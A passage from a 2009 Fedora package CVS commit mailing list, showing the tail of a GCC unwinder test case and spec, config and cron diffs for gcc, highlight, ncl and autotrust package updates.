+OP_lit3 OP_lit3 OP_gt ASSERT_TOS_0					\
+OP_lit6 OP_lit3 OP_gt ASSERT_TOS_NON0					\
+OP_const1s(-6) OP_lit1 OP_shr OP_lit0 OP_gt ASSERT_TOS_NON0		\
+OP_const1s(-6) OP_lit1 OP_shra OP_lit0 OP_lt ASSERT_TOS_NON0
+
+#define CFI_ESCAPE_VAL_2(VALUES...) #VALUES
+#define CFI_ESCAPE_VAL_1(VALUES...) CFI_ESCAPE_VAL_2(VALUES)
+#define CFI_ESCAPE_VAL(VALUES...) CFI_ESCAPE_VAL_1(VALUES)
+#define CFI_ESCAPE do { } while (0)
+#define CFI_ARCH_PROGRAM OP_nop_termination
+#ifdef __GCC_HAVE_DWARF2_CFI_ASM
+#if defined (__x86_64__)
+#undef CFI_ESCAPE
+#undef CFI_ARCH_PROGRAM
+#define CFI_ARCH_PROGRAM CFI_PROGRAM OP_lit8 OP_minus OP_nop_termination
+unsigned char cfi_arch_program[] = { CFI_ARCH_PROGRAM };
+extern char verify_it[sizeof (cfi_arch_program) - 0x80 < 0x3f80 ? 1 : -1];
+/* DW_CFA_expression %rip, uleb128(l2-l1), l1: program DW_OP_lit8 DW_OP_minus DW_OP_nop l2: */
+#define CFI_ESCAPE \
+  asm volatile (".cfi_escape 0x10, 0x10, (%P0&0x7f)+0x80, %P0>>7, " \
+		CFI_ESCAPE_VAL (CFI_ARCH_PROGRAM) \
+		: : "i" (sizeof (cfi_arch_program)))
+#elif defined (__i386__)
+#undef CFI_ESCAPE
+#undef CFI_ARCH_PROGRAM
+#define CFI_ARCH_PROGRAM CFI_PROGRAM OP_lit4 OP_minus OP_nop_termination
+unsigned char cfi_arch_program[] = { CFI_ARCH_PROGRAM };
+extern char verify_it[sizeof (cfi_arch_program) - 0x80 < 0x3f80 ? 1 : -1];
+/* DW_CFA_expression %eip, uleb128(l2-l1), l1: program DW_OP_lit4 DW_OP_minus DW_OP_nop l2: */
+#define CFI_ESCAPE \
+  asm volatile (".cfi_escape 0x10, 8, (%P0&0x7f)+0x80, %P0>>7, " \
+		CFI_ESCAPE_VAL (CFI_ARCH_PROGRAM) \
+		: : "i" (sizeof (cfi_arch_program)))
+#endif
+#endif
+static _Unwind_Reason_Code
+force_unwind_stop (int version, _Unwind_Action actions,
+		   _Unwind_Exception_Class exc_class,
+		   struct _Unwind_Exception *exc_obj,
+		   struct _Unwind_Context *context,
+		   void *stop_parameter)
+{
+  if (actions & _UA_END_OF_STACK)
+    abort ();
+  return _URC_NO_REASON;
+}
+
+static void force_unwind ()
+{
+  struct _Unwind_Exception *exc = malloc (sizeof (*exc));
+  memset (&exc->exception_class, 0, sizeof (exc->exception_class));
+  exc->exception_cleanup = 0;
+
+#ifndef __USING_SJLJ_EXCEPTIONS__
+  _Unwind_ForcedUnwind (exc, force_unwind_stop, 0);
+#else
+  _Unwind_SjLj_ForcedUnwind (exc, force_unwind_stop, 0);
+#endif
+
+  abort ();
+}
+
+static void handler (void *p __attribute__((unused)))
+{
+  exit (0);
+}
+
+__attribute__((noinline)) static void callme ()
+{
+  CFI_ESCAPE;
+  force_unwind ();
+}
+
+__attribute__((noinline)) static void doit ()
+{
+  char dummy __attribute__((cleanup (handler)));
+  callme ();
+}
+
+int main()
+{ 
+  doit ();
+  abort ();
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.299
retrieving revision 1.300
diff -u -p -r1.299 -r1.300
--- .cvsignore	10 Oct 2009 17:19:46 -0000	1.299
+++ .cvsignore	14 Oct 2009 17:21:47 -0000	1.300
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.1-20091010.tar.bz2
+gcc-4.4.1-20091014.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- gcc.spec	10 Oct 2009 17:19:46 -0000	1.78
+++ gcc.spec	14 Oct 2009 17:21:47 -0000	1.79
@@ -1,9 +1,9 @@
-%global DATE 20091010
-%global SVNREV 152620
+%global DATE 20091014
+%global SVNREV 152775
 %global gcc_version 4.4.1
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 21
+%global gcc_release 22
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -160,10 +160,8 @@ Patch16: gcc44-unwind-debug-hook.patch
 Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
-Patch20: gcc44-vta-rh521991.patch
-Patch21: gcc44-vta-rh521991-2.patch
-Patch22: gcc44-pr41646.patch
-Patch23: gcc44-rhel6-power4.patch
+Patch20: gcc44-powerpc-with-tune.patch
+Patch21: gcc44-unwind-leltgegt.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -470,12 +468,8 @@ which are required to compile with the G
 %patch18 -p0 -b .libstdc++-docs~
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
-%patch20 -p0 -b .vta-rh521991~
-%patch21 -p0 -b .vta-rh521991-2~
-%patch22 -p0 -b .pr41646~
-%if 0%{?rhel} >= 6
-%patch23 -p0 -b .rhel6-power4~
-%endif
+%patch20 -p0 -b .powerpc-with-tune~
+%patch21 -p0 -b .unwind-leltgegt~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -651,6 +645,11 @@ CC="$CC" CFLAGS="$OPT_FLAGS" CXXFLAGS="`
 %ifarch sparc sparcv9
 	--host=%{gcc_target_platform} --build=%{gcc_target_platform} --target=%{gcc_target_platform} --with-cpu=v7
 %endif
+%if 0%{?rhel} >= 6
+%ifarch ppc ppc64
+	--with-cpu-32=power4 --with-tune-32=power6 --with-cpu-64=power4 --with-tune-64=power6 \
+%endif
+%endif
 %ifarch ppc
 	--build=%{gcc_target_platform} --target=%{gcc_target_platform} --with-cpu=default32
 %endif
@@ -1845,6 +1844,22 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Wed Oct 14 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-22
+- update from gcc-4_4-branch
+  - PRs target/26515, target/38948
+  - fix s390{,x} BLKmode symbol handling
+  - fix i?86 testqi splitter (#528206, PR target/41680)
+- VTA backports
+  - introduce debug temps (PRs debug/41264, debug/41338, debug/41343,
+    debug/41447, target/41693)
+  - build debug stmts on updates (PR debug/41616)
+  - fix another with/without -save-temps debug info difference
+    (#526841, PR preprocessor/41543)
+  - fix invalid ranges in .debug_loc section (PR debug/41695)
+%if 0%{?rhel} >= 6
+- if -mcpu= isn't specified, default to -mcpu=power4 (#463549)
+%endif
+
 * Sat Oct 10 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-21
 - update from gcc-4_4-branch
   - fix s390{,x} prefetch for pre-z10 CPUs (#524552)
@@ -1853,9 +1868,6 @@ fi
     (PR preprocessor/41445)
 - fix ICE with small BLKmode returning call (#516028,
   PR rtl-optimization/41646)
-%if 0%{?rhel} >= 6
-- if -mcpu= isn't specified, default to -mcpu=power4 (#463549)
-%endif
 
 * Thu Oct  8 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-20
 - update from gcc-4_4-branch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.303
retrieving revision 1.304
diff -u -p -r1.303 -r1.304
--- sources	10 Oct 2009 17:19:46 -0000	1.303
+++ sources	14 Oct 2009 17:21:47 -0000	1.304
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-911d98c3e797c669fe0564eb880eee2c  gcc-4.4.1-20091010.tar.bz2
+4da2bce5563b5a133ced09b9391773e9  gcc-4.4.1-20091014.tar.bz2


--- gcc44-pr41646.patch DELETED ---


--- gcc44-rhel6-power4.patch DELETED ---


--- gcc44-vta-rh521991-2.patch DELETED ---


--- gcc44-vta-rh521991.patch DELETED ---



From s4504kr at fedoraproject.org  Wed Oct 14 17:25:22 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Wed, 14 Oct 2009 17:25:22 +0000 (UTC)
Subject: rpms/highlight/devel highlight.spec, 1.48, 1.49 sources, 1.28,
	1.29 highlight-2.6.11-makefile.patch, 1.1, NONE
Message-ID: <20091014172523.062BF11C00E5@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/highlight/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32272

Modified Files:
	highlight.spec sources 
Removed Files:
	highlight-2.6.11-makefile.patch 
Log Message:
New upstream release


Index: highlight.spec
===================================================================
RCS file: /cvs/extras/rpms/highlight/devel/highlight.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- highlight.spec	10 Sep 2009 20:56:15 -0000	1.48
+++ highlight.spec	14 Oct 2009 17:25:21 -0000	1.49
@@ -1,6 +1,6 @@
 Name:		highlight
 Summary:	Universal source code to formatted text converter
-Version:	2.12
+Version:	2.13
 Release:	1%{?dist}
 
 Group:		Development/Tools
@@ -93,6 +93,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/highlight.xpm
 
 %changelog
+* Wed Oct 14 2009 Jochen Schmitt <Jochen herr-schmitt de> 2.13-1
+- New upstream release
+
 * Thu Sep 10 2009 Jochen Schmitt <Jochen herr-schmitt de> 2.12-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/highlight/devel/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	10 Sep 2009 20:56:15 -0000	1.28
+++ sources	14 Oct 2009 17:25:22 -0000	1.29
@@ -1 +1 @@
-0c696d6fc3f0f1a3766b325f245f9493  highlight-2.12.tar.bz2
+1f5d325e24f25d7d17d223c8ab3a2785  highlight-2.13.tar.bz2


--- highlight-2.6.11-makefile.patch DELETED ---



From orion at fedoraproject.org  Wed Oct 14 17:34:15 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Wed, 14 Oct 2009 17:34:15 +0000 (UTC)
Subject: rpms/ncl/F-10 .cvsignore, 1.3, 1.4 Site.local.ncl, 1.3, 1.4 ncl.spec,
	1.14, 1.15 sources, 1.3, 1.4
Message-ID: <20091014173416.004B411C00E5@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/ncl/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1486

Modified Files:
	.cvsignore Site.local.ncl ncl.spec sources 
Log Message:
* Mon Jul 13 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.1.1-1
- Update to 5.1.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncl/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Mar 2009 15:58:19 -0000	1.3
+++ .cvsignore	14 Oct 2009 17:34:15 -0000	1.4
@@ -1 +1 @@
-ncl_ncarg_src-5.1.0.tar.gz
+ncl_ncarg_src-5.1.1.tar.gz


Index: Site.local.ncl
===================================================================
RCS file: /cvs/pkgs/rpms/ncl/F-10/Site.local.ncl,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- Site.local.ncl	28 Nov 2008 03:21:27 -0000	1.3
+++ Site.local.ncl	14 Oct 2009 17:34:15 -0000	1.4
@@ -7,8 +7,9 @@
 #define IncSearch -I/usr/include/netcdf
 #define LibSearch -L at libdir@/hdf
 
-#define BuildV5D FALSE
-#define BuildHDFEOS FALSE
+#define BuildNetCDF4 0
+#define BuildV5D 0
+#define BuildHDFEOS 0
 #define BuildTRIANGLE 0
 #define V5Dlib
-#define BuildDODS TRUE
+#define BuildDODS 1


Index: ncl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ncl/F-10/ncl.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ncl.spec	7 Jul 2009 20:35:48 -0000	1.14
+++ ncl.spec	14 Oct 2009 17:34:15 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           ncl
-Version:        5.1.0
-Release:        4%{?dist}
+Version:        5.1.1
+Release:        1%{?dist}
 Summary:        NCAR Command Language and NCAR Graphics
 
 Group:          Applications/Engineering
@@ -281,6 +281,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/ncarg/libngmath.a
 %{_libdir}/ncarg/libnfp.a
 %{_libdir}/ncarg/libnfpfort.a
+%{_libdir}/ncarg/libnio.a
 %{_libdir}/ncarg/libsphere3.1_dp.a
 %{_libdir}/ncarg/ncarg/
 %{_mandir}/man3/*.gz
@@ -298,6 +299,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Jul 13 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.1.1-1
+- Update to 5.1.1
+
 * Tue Jul 7 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.1.0-4
 - Fixup more paths in shipped ncl scripts (bug #505240)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncl/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Mar 2009 15:58:21 -0000	1.3
+++ sources	14 Oct 2009 17:34:15 -0000	1.4
@@ -1 +1 @@
-6fbc5e0e378dff1caaf1bf6a9c76ea5e  ncl_ncarg_src-5.1.0.tar.gz
+42154992f2966320dc9f8958b9d81da3  ncl_ncarg_src-5.1.1.tar.gz



From s4504kr at fedoraproject.org  Wed Oct 14 17:41:41 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Wed, 14 Oct 2009 17:41:41 +0000 (UTC)
Subject: rpms/highlight/F-12 highlight.spec, 1.48, 1.49 sources, 1.28,
	1.29 highlight-2.6.11-makefile.patch, 1.1, NONE
Message-ID: <20091014174141.95D8111C00E5@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/highlight/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2601

Modified Files:
	highlight.spec sources 
Removed Files:
	highlight-2.6.11-makefile.patch 
Log Message:
New upstream release


Index: highlight.spec
===================================================================
RCS file: /cvs/extras/rpms/highlight/F-12/highlight.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- highlight.spec	10 Sep 2009 20:56:15 -0000	1.48
+++ highlight.spec	14 Oct 2009 17:41:41 -0000	1.49
@@ -1,6 +1,6 @@
 Name:		highlight
 Summary:	Universal source code to formatted text converter
-Version:	2.12
+Version:	2.13
 Release:	1%{?dist}
 
 Group:		Development/Tools
@@ -93,6 +93,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/highlight.xpm
 
 %changelog
+* Wed Oct 14 2009 Jochen Schmitt <Jochen herr-schmitt de> 2.13-1
+- New upstream release
+
 * Thu Sep 10 2009 Jochen Schmitt <Jochen herr-schmitt de> 2.12-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/highlight/F-12/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	10 Sep 2009 20:56:15 -0000	1.28
+++ sources	14 Oct 2009 17:41:41 -0000	1.29
@@ -1 +1 @@
-0c696d6fc3f0f1a3766b325f245f9493  highlight-2.12.tar.bz2
+1f5d325e24f25d7d17d223c8ab3a2785  highlight-2.13.tar.bz2


--- highlight-2.6.11-makefile.patch DELETED ---



From pwouters at fedoraproject.org  Wed Oct 14 17:42:39 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Wed, 14 Oct 2009 17:42:39 +0000 (UTC)
Subject: rpms/autotrust/F-10 .cvsignore, 1.2, 1.3 autotrust.conf, 1.1,
	1.2 autotrust.cron, 1.1, 1.2 autotrust.spec, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091014174239.2649F11C00E5@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/autotrust/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2781

Modified Files:
	.cvsignore autotrust.conf autotrust.cron autotrust.spec 
	sources 
Log Message:
* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
- Updated to autotrust 0.3.1
- Try restarting running nameservers from the autotrust cron job
- Use the "named" version generated by dnssec-configure as trust anchor includes



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	25 Jan 2009 15:32:49 -0000	1.2
+++ .cvsignore	14 Oct 2009 17:42:38 -0000	1.3
@@ -1 +1,2 @@
 autotrust-0.2.1rc1.tar.gz
+autotrust-0.3.1.tar.gz


Index: autotrust.conf
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-10/autotrust.conf,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.conf	25 Jan 2009 15:32:49 -0000	1.1
+++ autotrust.conf	14 Oct 2009 17:42:38 -0000	1.2
@@ -1,95 +1,122 @@
+# include another configfile, so you can split up configuration settings.
+# for example, you can store your dynamica trust anchor configuration in 
+# a file called keys.conf.
+# include: "keys.conf"
+
 # program configuration
 config:
 	# directory to go to for performing autotrust.
 	# by default, autotrust will store files in the current directory.
-	working-dir:		"/var/lib/autotrust"
+	working-dir: "/var/lib/autotrust"
 
 	# where to find the root-hints. 
 	# by default, autotrust uses builtin root hints from libunbound.
-	# root-hints:		"/etc/named.root"
+	# root-hints:			"/etc/named.root"
 
-	# where to log messages. 
-	# by default, logs will be outputted to stderr.
-	log-file:		"/var/log/autotrust.log"
-
-	# where to store state information for trust anchors. 
-	# by default, state information is stored in a file autotrust.state in 
-	# the working directory.
-	state-file:		"/var/lib/autotrust/autotrust.state" 
+	# where to log messages. by default, logs will be outputted to
+	# @logfile at .
+	# If no log-file is given, stderr is used.
+	log-file: "/var/log/autotrust.log"
+
+	# whether to use syslog as logging device. not default.
+	# if set to "yes", the log-file option will be ignored.
+	# use-syslog:			"no"
+
+	# where to store the pid. by default, the pidfile is set to 
+	# @pidfile at .
+	# the pidfile is only used if autotrust runs as daemon.
+	pid-file: "/var/run/autotrust.pid"
+
+	# where to store trust anchor state. by default, it is stored in
+	# @statefile at .
+	state-file: "/var/lib/autotrust/autotrust.state"
 
-	# where to find the the trust anchors (that can be used for Unbound).
+	# where to find the the trust anchors (these can be used for Unbound).
 	# trust-anchor-file:	"trust-anchor.file"
 
-	# where to find the the trust anchors (that can be used for 
+	# where to find the the trust anchors (these can be used for 
 	# BIND9 and Unbound). you can also put your BIND configuration file 
 	# here, though it is recommended to solely put the trusted-keys clause 
 	# in this file and include it in your actual BIND configuration file.
-	trusted-keys-file:	"/etc/pki/dnssec-keys/production.conf"
+	trusted-keys-file:      "/etc/pki/dnssec-keys/named.dnssec.keys"
+	#trusted-keys-file:      "/etc/pki/dnssec-keys/production/*.conf"
+	#trusted-keys-file:      "/etc/pki/dnssec-keys/production/reverse/*.conf"
 
 	# what resolv.conf file to use. 
 	# by default, autotrust doesn't use configured nameservers, but queries 
-	# for the answers himself. By providing your resolver configuration, the
+	# for the answers himself. By providing your resolver configuration, the 
 	# program will run much faster.
-	# resolv-conf:		"/etc/resolv.conf"
+	# resolv-conf:			"/etc/resolv.conf"
 
-	# by default, autotrust makes use of both ipv4 and ipv6. 
-	# setting one of these options to "yes" eliminates the use of the other 
-	# protocol version.
-	# ipv4-only:		"no"
-	# ipv6-only:		"no"
+	# by default, autotrust makes use of both ipv4 and ipv6. setting one of 
+	# these options to "no" eliminates the use of the that protocol version. 
+	# do-ip4: 				"yes"
+	# do-ip6: 				"yes"
 
 	# specify the time when a trust anchor may be added.
 	# by default, add holddown time is 30 days.
-	# add-holddown:		2592000 # 30 days
+	# STRONGLY RECOMMENDED VALUE: 30days or higher
+	# add-holddown:			2592000 # 30 days
 
 	# specify the time when a trust anchor may be removed.
 	# by default, del holddown time is 30 days.
-	# del-holddown:		2592000 # 30 days
+	# STRONGLY RECOMMENDED VALUE: 30days or higher
+	# del-holddown:			2592000 # 30 days
 
 	# how many times must a pending trust anchor be seen, before adding it 
 	# to the valid trust anchor set. by default, 2 times.
 	# STRONGLY RECOMMENDED VALUE: 2 or higher
-	# pending-count:	2
+	# pending-count:		2
 
 	# keep trust anchors with the START state in the state information file.
 	# by default, trust anchors in the state START are not stored.
-	# keep-start:		"no"
+	# keep-start:			"no"
 
 	# keep trust anchors with the REMOVED state in the state information.
 	# by default, trust anchors in the state REMOVED are not stored.
-	# keep-removed:		"no"
+	# keep-removed:			"no"
+
+	# Fedora/EPEL: nameservers are restarted via the autostart.cron job
+	# instead of via resolver-pidfile/resolver-reload
 
 	# the pidfile that stores the process id of your resolver.
 	# by default, autotrust does not know about your resolver and will not 
-	# signal resolvers.
-	# resolver-pidfile:		"/var/run/named/named.pid"
-	resolver-pidfile: "/var/run/unbound/unbound.pid /var/run/named/named.pid"
+	# signal resolvers. You may configure multiple resolver pidfiles.
+	# resolver-pidfile: "/var/run/unbound/unbound.pid"
+	# resolver-pidfile: "/var/run/named/named.pid"
+
+	# you may also specify the reload command to be executed.
+	# resolver-reload:		"unbound-control reload"
+	# resolver-reload:		"rndc reload"
 
 	# if you use Unbound, you can specify the Undbound configuration 
 	# here, so that autotrust uses the same configuration. This option was 
 	# built in for debugging purposes (to configure stub zones), and is 
 	# considered experimental.
-	unbound-conf:		"/etc/unbound/unbound.conf"
-
+	unbound-conf:			"/etc/unbound/unbound.conf"
+	
 	# specify the time when a missing trust anchor may not be used 
 	# as valid trust anchor anymore. If keep-missing is 0, missing keys 
 	# are never removed (unless revoked), which is the default.
 	# STRONGLY RECOMMENDED VALUE: 0, or 1year or higher
-	# keep-missing:		31536000 # 1 year
+	# keep-missing:			31536000 # 1 year
 
 	# log if keys gone missing, regardless of the used verbosity level.
 	# on by default.
-	# alert-missing:	"yes"
+	# alert-missing:		"yes"
+
+	# run autotrust as daemon. By default "no".
+	# daemonize:			"no"
 
 	# if you have a superior trust point configured, the subordinate trust 
 	# anchors will be removed after 180 days after the superior trust point 
 	# was introduced. by default, this option is disabled, you may enable it 
 	# by setting 'superior-trust' to "yes".
 	# THIS OPTION IS NOT IMPLEMENTED YET
-	# superior-trust:	"yes"
+	# superior-trust:		"no"
 
 	# set the level of verbosity. default it it set to 1. the higher this 
 	# number, the more log messages you will get. if you want no 
 	# output at all, set verbosity to 0 (you will log only error and 
 	# warning messages).
-	# verbosity:		1
+	# verbosity:			1


Index: autotrust.cron
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-10/autotrust.cron,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.cron	25 Jan 2009 15:32:49 -0000	1.1
+++ autotrust.cron	14 Oct 2009 17:42:38 -0000	1.2
@@ -2,3 +2,7 @@
 
 # Check for updated and revoked  DNSKEY trust anchors daily
 /usr/sbin/autotrust
+# lets try and restart (caching) nameservers ourselves, it produces
+# less errors then when autotrust attempts this.
+/sbin/service unbound try-restart
+/sbin/service named try-restart


Index: autotrust.spec
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-10/autotrust.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.spec	25 Jan 2009 15:32:49 -0000	1.1
+++ autotrust.spec	14 Oct 2009 17:42:38 -0000	1.2
@@ -1,19 +1,16 @@
-%define prever rc1
-%define VERSION %{version}%{prever}
-
 Summary: DNSKEY trust anchor update utility that uses RFC-5011
 Name: autotrust
-Version: 0.2.1
-Release: 0.2.%{prever}%{?dist}
+Version: 0.3.1
+Release: 1%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/%{name}/
-Source: http://www.nlnetlabs.nl/downloads/%{name}-%{VERSION}.tar.gz
+Source: http://www.nlnetlabs.nl/downloads/%{name}-%{version}.tar.gz
 Source1: autotrust.conf
 Source2: autotrust.cron
 Group: System Environment/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: ldns-devel >= 1.3.0, unbound-devel >= 1.0.0
-Requires: anacron
+Requires: anacron, dnssec-conf
 
 %description
 autotrust takes care of keeping your DNSSEC trust anchors up to date. It
@@ -22,7 +19,7 @@ autotrust is meant to run from commandli
 follow the values recommended by RFC5011, autotrust should run as daemon. 
 
 %prep
-%setup -q -n autotrust-%{VERSION}
+%setup -q
 
 %build
 %configure --disable-rpath 
@@ -37,6 +34,7 @@ mkdir -p %{buildroot}%{_localstatedir}/l
 mkdir -p %{buildroot}%{_sysconfdir}/cron.daily/
 install -m 644 %{SOURCE1} %{buildroot}%{_sysconfdir}/%{name}/
 install -m 755 %{SOURCE2} %{buildroot}%{_sysconfdir}/cron.daily/autotrust
+rm %{buildroot}%{_sysconfdir}/%{name}/autotrust.conf.sample
 
 %clean
 rm -rf %{buildroot}
@@ -52,6 +50,11 @@ rm -rf %{buildroot}
 %attr(0755,root,root) %{_sysconfdir}/cron.daily/autotrust
 
 %changelog
+* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
+- Updated to autotrust 0.3.1
+- Try restarting running nameservers from the autotrust cron job
+- Use the "named" version generated by dnssec-configure as trust anchor includes
+
 * Wed Jan 21 2009 Paul Wouters <paul at xelerance.com> - 0.2.1-0.2.rc1
 - Drop sysconfig argument for configure
 - Merged changelog entry to avoid rpm warning 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	25 Jan 2009 15:32:49 -0000	1.2
+++ sources	14 Oct 2009 17:42:38 -0000	1.3
@@ -1 +1,2 @@
 663254fbd41176e3b13952bffd49a21c  autotrust-0.2.1rc1.tar.gz
+ff0177aa0df8c645829fc26de2ac0b54  autotrust-0.3.1.tar.gz



From s4504kr at fedoraproject.org  Wed Oct 14 17:46:59 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Wed, 14 Oct 2009 17:46:59 +0000 (UTC)
Subject: rpms/highlight/F-11 highlight.spec,1.46,1.47 sources,1.27,1.28
Message-ID: <20091014174659.46B8211C00E5@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/highlight/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3511

Modified Files:
	highlight.spec sources 
Log Message:
New upstream release


Index: highlight.spec
===================================================================
RCS file: /cvs/extras/rpms/highlight/F-11/highlight.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- highlight.spec	10 Sep 2009 20:57:48 -0000	1.46
+++ highlight.spec	14 Oct 2009 17:46:58 -0000	1.47
@@ -1,6 +1,6 @@
 Name:		highlight
 Summary:	Universal source code to formatted text converter
-Version:	2.12
+Version:	2.13
 Release:	1%{?dist}
 
 Group:		Development/Tools
@@ -93,6 +93,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/highlight.xpm
 
 %changelog
+* Wed Oct 14 2009 Jochen Schmitt <Jochen herr-schmitt de> 2.13-1
+- New upstream release
+
 * Thu Sep 10 2009 Jochen Schmitt <Jochen herr-schmitt de> 2.12-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/highlight/F-11/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	10 Sep 2009 20:57:48 -0000	1.27
+++ sources	14 Oct 2009 17:46:59 -0000	1.28
@@ -1 +1 @@
-0c696d6fc3f0f1a3766b325f245f9493  highlight-2.12.tar.bz2
+1f5d325e24f25d7d17d223c8ab3a2785  highlight-2.13.tar.bz2



From s4504kr at fedoraproject.org  Wed Oct 14 17:48:09 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Wed, 14 Oct 2009 17:48:09 +0000 (UTC)
Subject: rpms/highlight/F-10 highlight.spec,1.39,1.40 sources,1.24,1.25
Message-ID: <20091014174809.52FA311C00E5@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/highlight/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3790

Modified Files:
	highlight.spec sources 
Log Message:
New upstream release


Index: highlight.spec
===================================================================
RCS file: /cvs/extras/rpms/highlight/F-10/highlight.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- highlight.spec	10 Sep 2009 20:59:04 -0000	1.39
+++ highlight.spec	14 Oct 2009 17:48:09 -0000	1.40
@@ -1,6 +1,6 @@
 Name:		highlight
 Summary:	Universal source code to formatted text converter
-Version:	2.12
+Version:	2.13
 Release:	1%{?dist}
 
 Group:		Development/Tools
@@ -93,6 +93,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/highlight.xpm
 
 %changelog
+* Wed Oct 14 2009 Jochen Schmitt <Jochen herr-schmitt de> 2.13-1
+- New upstream release
+
 * Thu Sep 10 2009 Jochen Schmitt <Jochen herr-schmitt de> 2.12-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/highlight/F-10/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	10 Sep 2009 20:59:04 -0000	1.24
